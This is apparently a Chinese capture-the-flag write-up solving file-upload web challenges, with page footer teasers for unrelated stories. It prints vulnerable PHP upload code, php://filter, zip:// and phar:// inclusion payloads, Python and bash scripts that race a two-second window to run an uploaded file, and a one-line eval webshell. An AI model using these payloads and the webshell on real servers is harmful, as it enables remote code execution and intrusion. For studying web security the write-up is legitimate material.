文件上传的ctf_web题目【伪协议】

1.第一题

Qiyu_20170807_210121.png

文件包含

题目:http://58.154.33.13:8004/index.php

可以读到php源代码

伪协议
zip://archive.zip#1.php
php://filter/read=convert.base64-encode//resource=index
index.php后面是否需要添加后缀,要注意看浏览器地址栏的情况,本题用伪协议查看index.php的源代码的base64编码串

查看源代码
http://58.154.33.13:8004/index.php?page=php://filter/read=convert.base64-encode//resource=index #index为index.php的文件名

源代码:

<?php
                require("header.php");
                $page="";
                if (isset($_GET['page']))
                    $page=$_GET['page'].".php";    #page参数自动添加了.php后缀,因此文件包含的index不需要加后缀
                else
                    $page="main.php";
                include($page);
?>

本题还可以通过文件包含,查看upload.php的源代码

<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
    if($name!=="")
    {
        $name1=substr($name,-4);
        if(($name1!==".gif") and ($name1!==".jpg") and ($name1!==".zip"))
        {
            echo "hehe";
            echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
            exit;
        }
        if($type!=="image/jpeg"&&$type!=="image/gif")
        {
            echo mime_content_type($tmpName);
            echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
            exit;
        }
        if(is_uploaded_file($tmpName)){
            $time=time();
            $rootpath='uploads/'.$time.$name1;
            if(!move_uploaded_file($tmpName,$rootpath)){
            echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
            exit;
        }
    }
    echo "图片ID:".$time;
    }
}
catch(Exception $e)
{
    echo "ERROR";
}
//
 ?>
 </html>

最后,可以通过burp修改http包的Content-Type: image/gif,上传一个包含1.php的a.zip的压缩包

之后找到zip所在的路径,用zip伪协议浏览里面的php
http://58.154.33.13:8004/index.php?page=zip://xxx/a.zip#1.php

然后执行i.php的webshell,提交post参数调用系统命令,实现shell

2.第二题

跟上一题一样,先用php://filter/read=convert.base64-encode//resource=upload查看源代码

<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
    if($name!=="")
    {
        $name1=substr($name,-4);
        if(($name1!==".gif") and ($name1!==".jpg"))
        {
            echo "hehe";
            echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
            exit;
        }
        if($type!=="image/jpeg"&&$type!=="image/gif")
        {
            //echo mime_content_type($tmpName);
            echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
            exit;
        }
        if(is_uploaded_file($tmpName)){
            $time=time();
            $rootpath='uploads/'.$time.$name1;
            if(!move_uploaded_file($tmpName,$rootpath)){
                echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
                exit;
            }
            else{
                sleep(2);               
                if ($type=='image/jpeg')
                {
                    $im = @imagecreatefromjpeg($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagejpeg($im,$new_rootpath);
                        imagedestroy($im);
                    }
                }
                else if ($type=='image/gif')
                {
                    $im = @imagecreatefromgif($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagegif($im,$new_rootpath);
                        imagedestroy($im);
                    }
                }
                unlink($rootpath);
            }
        }
        echo "图片ID:".$time;
    }
}
catch(Exception $e)
{
    echo "ERROR";
}
//
 ?>
 </html>

查看源码后,发现php代码里面在做一般的检查之后,会先sleep(2),之后会对图片进行转换,如果不是正常的图片就会被删除;因此,我们需要在上传完文件的这2秒内,用另外一个脚本去文件包含shell执行
以下是两个脚本的代码:

upload.py用来上传zip压缩包

#!/usr/bin/env python
# encoding: utf-8

import requests

url = "http://202.112.51.217:8199/upload.php"

data = {
    'title': 'admin',
    'url': 'admin'
}
#此处**'pic'**是因为上面的upload.php里面判断用的键名
files = {'pic': ('xman.jpg', open("sh.zip").read(), 'image/jpeg')}
# 这里使用 requests 库来上传文件有几种方式
# 这种方式可以控制文件名以及文件类型
# 可以用来绕过基于客户端的文件名和文件类型检测

response = requests.post(url, data=data, files=files)
content = response.content
print content

shell.py用来进行文件包含执行webshell

#!/usr/bin/env python
# encoding: utf-8

import requests
#由于此题apache2配置的问题导致可以直接读uploads目录
url = "http://202.112.51.217:8199/uploads/"

response = requests.get(url)

content = response.content

files = []
#这里用来寻找到最新的(你刚上传的)webshell文件的名字
for line in content.split("\n"):
    if "href=" in line:
        files.append(line.split("href=\"")[1].split("\">")[0])
#一般是这些保存的文件的最后一个
filename = files[-1]
#此处zip://试过不行,似乎是因为php版本的原因,因此改用phar://伪协议去执行解压缩
url = "http://202.112.51.217:8199
/index.php?page=phar://uploads/"+filename+"/sh&w=system('head *');"  #此处‘head *’用来打印当前目录下所有文件的前十行
print requests.get(url).content

sh.php是一句话木马

//这里因为上面的shell.py最后用的是GET请求,因此,写REQUEST或者GET都可以,如果要用POST要更改shell.py脚本
<?php @eval($_REQUEST[w]);?>

这两个脚本你可以接连在两个终端上执行,也可以写一个shell脚本去执行,下面是shell.sh的内容

#!/bin/bash
python upload.py&    #后面加&就不会阻塞后面的命令执行
sleep 0.5     #这里是为了给上传文件留出一定的时间
python shell.py    #此处用于执行webshell

执行的结果图:

Paste_Image.png

注:requests库上传文件的书写格式,官方文档传送门

Paste_Image.png

3.第三题

X-NUCA 练习:login

http://218.76.35.75:20115/login.php
writeup请点击
注:通过log来写入webshell,构造zip压缩包

4.第四题

NS 笔记管理系统WP

NS笔记管理系统题目地址:http://218.76.35.74:20128/index.php?action=front&mode=login

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,378评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,356评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,702评论 0 342
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,259评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,263评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,036评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,349评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,979评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,469评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,938评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,059评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,703评论 4 323
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,257评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,262评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,485评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,501评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,792评论 2 345

推荐阅读更多精彩内容